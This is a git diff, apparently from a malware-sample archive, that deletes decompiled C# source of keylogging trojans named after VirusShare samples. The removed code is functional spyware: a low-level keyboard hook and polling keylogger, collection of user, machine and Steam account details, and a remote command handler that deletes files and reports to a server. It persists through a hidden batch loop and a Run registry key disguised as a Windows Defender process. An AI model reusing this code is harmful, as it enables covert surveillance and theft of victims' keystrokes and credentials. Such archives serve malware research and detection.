- if (!(command.Substring(0, 6) == "remove")) - return; - string path = command.Contains(":\\") ? command.Substring(7) : Application.StartupPath + "\\" + command.Substring(7); - if (File.Exists(path)) - { - File.Delete(path); - this.send(" Removed."); - } - else - this.send(" Action failed."); - } - } - catch - { - this.send(" Action failed."); - } - } - - public string getinfo() - { - string str1 = Environment.UserName + Environment.NewLine + Environment.MachineName + Environment.NewLine; - OperatingSystem osVersion = Environment.OSVersion; - switch (osVersion.Version.Major) - { - case 5: - str1 += "Windows XP"; - break; - case 6: - if (osVersion.Version.Minor == 0) - str1 += "Windows Vista"; - if (osVersion.Version.Minor == 1) - { - str1 += "Windows 7"; - break; - } - break; - default: - str1 += (string) (object) osVersion; - break; - } - string str2 = str1 + Environment.NewLine; - try - { - string str3 = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam", true).GetValue("SteamPath").ToString().Replace("/", "\\"); - str2 += "Steam Usernames:\n"; - StreamReader streamReader = new StreamReader(str3 + "\\config\\SteamAppData.vdf"); - string str4; - while ((str4 = streamReader.ReadLine()) != null) - { - if (str4.StartsWith("\t\t\"User\"")) - str2 = str2 + str4.Substring(11).Replace("\"", "") + "\n"; - } - streamReader.Close(); - str2 += str3; - } - catch - { - } - return str2; - } - - public void persistent() - { - while (true) - { - int num = 0; - foreach (Process process in Process.GetProcessesByName("cmd")) - ++num; - if (num == 0) - { - File.WriteAllText(this.persisPath, ":n" + Environment.NewLine + "tasklist | find \"MSASCui.exe\" || " + this.filePath + Environment.NewLine + "ping -n 2 localhost" + Environment.NewLine + "goto n"); - Process.Start(new ProcessStartInfo(this.persisPath, "") - { - WindowStyle = ProcessWindowStyle.Hidden - }); - } - try - { - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("MSASCui", (object) this.filePath); - } - catch - { - } - Thread.Sleep(1000); - } - } - - private void textBox1_TextChanged(object sender, EventArgs e) - { - this.textBox1.Text = this.textBox1.Text.Replace("WWW", "W"); - this.textBox1.Text = this.textBox1.Text.Replace("AAA", "A"); - this.textBox1.Text = this.textBox1.Text.Replace("SSS", "S"); - this.textBox1.Text = this.textBox1.Text.Replace("DDD", "D"); - this.textBox1.Text = this.textBox1.Text.Replace("www", "w"); - this.textBox1.Text = this.textBox1.Text.Replace("aaa", "a"); - this.textBox1.Text = this.textBox1.Text.Replace("sss", "s"); - this.textBox1.Text = this.textBox1.Text.Replace("ddd", "d"); - this.textBox1.Text = this.textBox1.Text.Replace(" ", " "); - File.WriteAllText(this.logPath, this.textBox1.Text); - } - - private void send(string msg) - { - byte[] bytes = Encoding.ASCII.GetBytes(msg + "$"); - this.serverStream.Write(bytes, 0, bytes.Length); - this.serverStream.Flush(); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Keylogger/Keylogger.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Keylogger/Keylogger.cs deleted file mode 100644 index 17d18b40..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Keylogger/Keylogger.cs +++ /dev/null @@ -1,374 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Keylogger.Keylogger -// Assembly: MSASCui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0EB0363B-A145-4FB4-99F4-D9A059C20475 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3.exe - -using System; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -namespace Keylogger -{ - internal class Keylogger : Component - { - private const int WM_KEYDOWN = 256; - private const int WM_SYSKEYDOWN = 260; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYUP = 261; - private Keylogger.Keylogger.KLG klg; - private Keylogger.Keylogger.Keylogger_Modes _Mode; - private bool _Enabled = true; - private bool lastWasDeadKey; - private bool DeadKeyOver; - private ArrayList DeadKeys = new ArrayList(); - - [DllImport("user32.dll")] - private static extern uint MapVirtualKey(uint uCode, uint uMapType); - - [DllImport("user32.dll")] - private static extern IntPtr GetKeyboardLayout(uint idThread); - - [DllImport("user32.dll")] - private static extern int ToAscii( - uint uVirtKey, - uint uScanCode, - byte[] lpKeyState, - [Out] StringBuilder lpChar, - uint uFlags); - - [Description("")] - public event Keylogger.Keylogger.ValueChangedEventHandler VKCodeAsStringDown; - - [Description("")] - public event Keylogger.Keylogger.ValueChangedEventHandler VKCodeAsStringUp; - - [Description("")] - public event Keylogger.Keylogger.ValueChangedEventHandler2 VKCodeDown; - - [Description("")] - public event Keylogger.Keylogger.ValueChangedEventHandler2 VKCodeUp; - - [Description("")] - public Keylogger.Keylogger.Keylogger_Modes Keylogger_Mode - { - get => this._Mode; - set - { - if (value >= Keylogger.Keylogger.Keylogger_Modes.Hooks) - { - this._Mode = value; - if (this.klg != null) - { - this.klg.Dispose(); - this.klg = (Keylogger.Keylogger.KLG) null; - } - if (!this._Enabled) - return; - switch (this._Mode) - { - case Keylogger.Keylogger.Keylogger_Modes.Hooks: - this.klg = (Keylogger.Keylogger.KLG) new Keylogger.Keylogger.KLG_Hooks(this); - break; - case Keylogger.Keylogger.Keylogger_Modes.Polling: - this.klg = (Keylogger.Keylogger.KLG) new Keylogger.Keylogger.KLG_Polling(this); - break; - } - } - else - this._Mode = Keylogger.Keylogger.Keylogger_Modes.Hooks; - } - } - - [Description("")] - public bool Enabled - { - get => this._Enabled; - set - { - this._Enabled = value; - this.Keylogger_Mode = this._Mode; - } - } - - private static bool IsDeadKey(uint vkCode) => ((int) Keylogger.Keylogger.MapVirtualKey(vkCode, 2U) & int.MinValue) != 0; - - private bool IsPrintableKey(uint vkCode) => vkCode >= 32U; - - private bool isChar(string s) => s.ToString().Length == 1; - - private bool isCTRLPressed() => Control.ModifierKeys == Keys.Control; - - [DllImport("user32.dll")] - private static extern short GetKeyState(int nVirtKey); - - private byte[] myGetKeyboardState() - { - byte[] keyboardState = new byte[256]; - for (int nVirtKey = 0; nVirtKey < keyboardState.Length; ++nVirtKey) - keyboardState[nVirtKey] = (byte) Keylogger.Keylogger.GetKeyState(nVirtKey); - return keyboardState; - } - - private void OnKeyActionFurtherProcessing2( - uint vkcode, - uint nScanCode, - bool isDown, - byte[] KBSTATE) - { - string s = ((Keys) vkcode).ToString(); - if (this.IsPrintableKey(vkcode) && !this.isCTRLPressed()) - { - StringBuilder lpChar = new StringBuilder(2); - uint ascii = (uint) Keylogger.Keylogger.ToAscii(vkcode, nScanCode, KBSTATE, lpChar, 0U); - this.DeadKeyOver = false; - if (ascii > 0U) - s = lpChar.ToString().Substring(0, 1); - } - if (isDown) - this.VKCodeAsStringDown(s, this.isChar(s)); - else - this.VKCodeAsStringUp(s, this.isChar(s)); - } - - private void OnKeyActionFurtherProcessing1(uint vkcode, uint nScanCode, bool isDown) - { - if (Keylogger.Keylogger.IsDeadKey(vkcode)) - { - this.lastWasDeadKey = true; - byte[] numArray = new byte[256]; - byte[] keyboardState = this.myGetKeyboardState(); - this.DeadKeys.Add((object) new object[4] - { - (object) vkcode, - (object) nScanCode, - (object) isDown, - (object) keyboardState - }); - } - else if (this.lastWasDeadKey) - { - byte[] numArray = new byte[256]; - byte[] keyboardState = this.myGetKeyboardState(); - this.DeadKeyOver = true; - this.lastWasDeadKey = false; - this.DeadKeys.Add((object) new object[4] - { - (object) vkcode, - (object) nScanCode, - (object) isDown, - (object) keyboardState - }); - } - else - { - if (this.DeadKeyOver) - { - foreach (object[] deadKey in this.DeadKeys) - { - this.OnKeyActionFurtherProcessing2((uint) deadKey[0], (uint) deadKey[1], (bool) deadKey[2], (byte[]) deadKey[3]); - if (Keylogger.Keylogger.IsDeadKey((uint) deadKey[0])) - Keylogger.Keylogger.ToAscii(vkcode, nScanCode, (byte[]) deadKey[3], new StringBuilder(2), 0U); - } - this.DeadKeys.Clear(); - } - byte[] numArray = new byte[256]; - byte[] keyboardState = this.myGetKeyboardState(); - this.OnKeyActionFurtherProcessing2(vkcode, nScanCode, isDown, keyboardState); - } - } - - private void OnKeyAction(int vkcode, int scancode, bool isDown) - { - if (this.VKCodeAsStringDown != null && isDown) - this.OnKeyActionFurtherProcessing1((uint) vkcode, (uint) scancode, true); - else if (this.VKCodeAsStringUp != null && !isDown) - this.OnKeyActionFurtherProcessing1((uint) vkcode, (uint) scancode, false); - if (this.VKCodeDown != null && isDown) - { - this.VKCodeDown(vkcode); - } - else - { - if (this.VKCodeUp == null || isDown) - return; - this.VKCodeUp(vkcode); - } - } - - public delegate void ValueChangedEventHandler(string value, bool isChar); - - public delegate void ValueChangedEventHandler2(int vkcode); - - public enum Keylogger_Modes - { - Hooks, - Polling, - } - - private abstract class KLG : IDisposable - { - public static Keylogger.Keylogger klg; - - public abstract void Dispose(); - } - - private class KLG_Hooks : Keylogger.Keylogger.KLG - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private const int WM_SYSKEYDOWN = 260; - private const int WM_KEYUP = 257; - private const int WM_SYSKEYUP = 261; - private static Keylogger.Keylogger.KLG_Hooks.LowLevelKeyboardProc _proc = new Keylogger.Keylogger.KLG_Hooks.LowLevelKeyboardProc(Keylogger.Keylogger.KLG_Hooks.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Keylogger.Keylogger.KLG_Hooks.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - ref Keylogger.Keylogger.KLG_Hooks.KBDLLHOOKSTRUCT lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - public KLG_Hooks(Keylogger.Keylogger _klg) - { - Keylogger.Keylogger.KLG_Hooks._hookID = Keylogger.Keylogger.KLG_Hooks.SetHook(Keylogger.Keylogger.KLG_Hooks._proc); - Keylogger.Keylogger.KLG.klg = _klg; - } - - public override void Dispose() - { - this.Dispose(true); - GC.SuppressFinalize((object) this); - } - - protected virtual void Dispose(bool disposing) - { - int num = disposing ? 1 : 0; - Keylogger.Keylogger.KLG_Hooks.UnhookWindowsHookEx(Keylogger.Keylogger.KLG_Hooks._hookID); - } - - ~KLG_Hooks() => this.Dispose(false); - - [DllImport("kernel32.dll")] - public static extern int GetCurrentThreadId(); - - private static IntPtr SetHook(Keylogger.Keylogger.KLG_Hooks.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Keylogger.Keylogger.KLG_Hooks.SetWindowsHookEx(13, proc, Keylogger.Keylogger.KLG_Hooks.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static IntPtr HookCallback( - int nCode, - IntPtr wParam, - ref Keylogger.Keylogger.KLG_Hooks.KBDLLHOOKSTRUCT lParam) - { - if (nCode >= 0) - { - if (wParam == (IntPtr) 256 || wParam == (IntPtr) 260) - Keylogger.Keylogger.KLG.klg.OnKeyAction(lParam.vkCode, lParam.scanCode, true); - else if (wParam == (IntPtr) 257 || wParam == (IntPtr) 261) - Keylogger.Keylogger.KLG.klg.OnKeyAction(lParam.vkCode, lParam.scanCode, false); - } - return Keylogger.Keylogger.KLG_Hooks.CallNextHookEx(Keylogger.Keylogger.KLG_Hooks._hookID, nCode, wParam, ref lParam); - } - - public delegate void KeyUpCallback(string x); - - private delegate IntPtr LowLevelKeyboardProc( - int nCode, - IntPtr wParam, - ref Keylogger.Keylogger.KLG_Hooks.KBDLLHOOKSTRUCT lParam); - - private struct KBDLLHOOKSTRUCT - { - public int vkCode; - public int scanCode; - public int flags; - private int time; - private int dwExtraInfo; - } - } - - private class KLG_Polling : Keylogger.Keylogger.KLG - { - private Timer timerKeyMine; - private bool[] a = new bool[256]; - private int KEY_PRESSED = 32768; - - [DllImport("User32.dll")] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32.dll")] - private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl); - - [DllImport("user32.dll")] - private static extern IntPtr GetKeyboardLayout(uint idThread); - - [DllImport("user32.dll")] - private static extern short GetKeyState(int nVirtKey); - - public KLG_Polling(Keylogger.Keylogger _klg) - { - for (int index = 0; index < this.a.Length; ++index) - this.a[index] = false; - Keylogger.Keylogger.KLG.klg = _klg; - this.timerKeyMine = new Timer(); - this.timerKeyMine.Interval = 10; - this.timerKeyMine.Tick += new EventHandler(this.timerKeyMine_Tick); - this.timerKeyMine.Enabled = true; - } - - private void timerKeyMine_Tick(object sender, EventArgs e) - { - for (int index = 8; index < 256; ++index) - { - bool isDown = Keylogger.Keylogger.KLG_Polling.GetAsyncKeyState(index) == (short) -32767; - if (isDown || this.a[index] && !Convert.ToBoolean((int) Keylogger.Keylogger.KLG_Polling.GetKeyState(index) & this.KEY_PRESSED)) - { - IntPtr keyboardLayout = Keylogger.Keylogger.KLG_Polling.GetKeyboardLayout(0U); - uint scancode = Keylogger.Keylogger.KLG_Polling.MapVirtualKeyEx((uint) index, 0U, keyboardLayout); - Keylogger.Keylogger.KLG.klg.OnKeyAction(index, (int) scancode, isDown); - this.a[index] = isDown; - } - } - } - - public override void Dispose() - { - this.Dispose(true); - GC.SuppressFinalize((object) this); - } - - protected virtual void Dispose(bool disposing) - { - int num = disposing ? 1 : 0; - this.timerKeyMine.Dispose(); - } - - ~KLG_Polling() => this.Dispose(false); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Program.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Program.cs deleted file mode 100644 index a6fb3fea..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Program.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MSASCui.Program -// Assembly: MSASCui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0EB0363B-A145-4FB4-99F4-D9A059C20475 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3.exe - -using System; -using System.Windows.Forms; - -namespace MSASCui -{ - internal static class Program - { - [STAThread] - private static void Main() - { - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Application.Run((Form) new Form1()); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.cs deleted file mode 100644 index 5f454e11..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MSASCui.Properties.Resources -// Assembly: MSASCui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0EB0363B-A145-4FB4-99F4-D9A059C20475 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MSASCui.Properties -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [DebuggerNonUserCode] - [CompilerGenerated] - internal class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - internal Resources() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (MSASCui.Properties.Resources.resourceMan == null) - MSASCui.Properties.Resources.resourceMan = new ResourceManager("MSASCui.Properties.Resources", typeof (MSASCui.Properties.Resources).Assembly); - return MSASCui.Properties.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => MSASCui.Properties.Resources.resourceCulture; - set => MSASCui.Properties.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Settings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Settings.cs deleted file mode 100644 index 7eb276db..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Properties/Settings.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MSASCui.Properties.Settings -// Assembly: MSASCui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 0EB0363B-A145-4FB4-99F4-D9A059C20475 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3.exe - -using System.CodeDom.Compiler; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace MSASCui.Properties -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class Settings : ApplicationSettingsBase - { - private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings()); - - public static Settings Default => Settings.defaultInstance; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.csproj deleted file mode 100644 index 38764656..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.csproj +++ /dev/null @@ -1,50 +0,0 @@ - - - - - Debug - AnyCPU - {847E89C6-0AD6-426B-9CE6-9981EA19519A} - WinExe - MSASCui - 1.0.0.0 - MSASCui - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.sln deleted file mode 100644 index 02cb4da9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3/Trojan-Spy.MSIL.KeyLogger.cciq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MSASCui", "Trojan-Spy.MSIL.KeyLogger.cciq-bfc0cb7ef8fe04011213597be5b7a2bcbaee7399e7490b3766024e20624b83f3.csproj", "{847E89C6-0AD6-426B-9CE6-9981EA19519A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {847E89C6-0AD6-426B-9CE6-9981EA19519A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {847E89C6-0AD6-426B-9CE6-9981EA19519A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {847E89C6-0AD6-426B-9CE6-9981EA19519A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {847E89C6-0AD6-426B-9CE6-9981EA19519A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/AssemblyInfo.cs deleted file mode 100644 index 83f273ba..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("sjdkfh892ur0iksofi32irkwf")] -[assembly: AssemblyTrademark("dfasdfadfq2342134")] -[assembly: AssemblyProduct("sjdkfh892ur0iksofi32irkwf")] -[assembly: AssemblyCopyright("dfasdfq2341234sdf")] -[assembly: AssemblyCompany("sfljhioqur09ikafopke0rgwg")] -[assembly: AssemblyFileVersion("2.5.6")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: Guid("aac39338-0975-4b06-abf7-2cf97915f76d")] -[assembly: AssemblyTitle("sjdkfh892ur0iksofi32irkwf")] -[assembly: ComVisible(false)] -[assembly: AssemblyVersion("2.3.4.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index dda33d58..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: dfghdfghtyetryetyetyety, Version=2.3.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 915EBE8E-E020-4182-8C70-BC975537D555 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.csproj deleted file mode 100644 index 504e4f02..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.csproj +++ /dev/null @@ -1,55 +0,0 @@ - - - - - Debug - AnyCPU - {C7B9D883-C3C1-4CA4-89B7-D6EFF6B7C91E} - WinExe - dfghdfghtyetryetyetyety - 2.3.4.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.sln deleted file mode 100644 index ac935c8f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cfj-1a52b2241e0be2622f791d121fa3f48c805665074b5ecafc7abc49e757fd8f6c/Trojan-Spy.MSIL.KeyLogger.cfj.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "dfghdfghtyetryetyetyety", 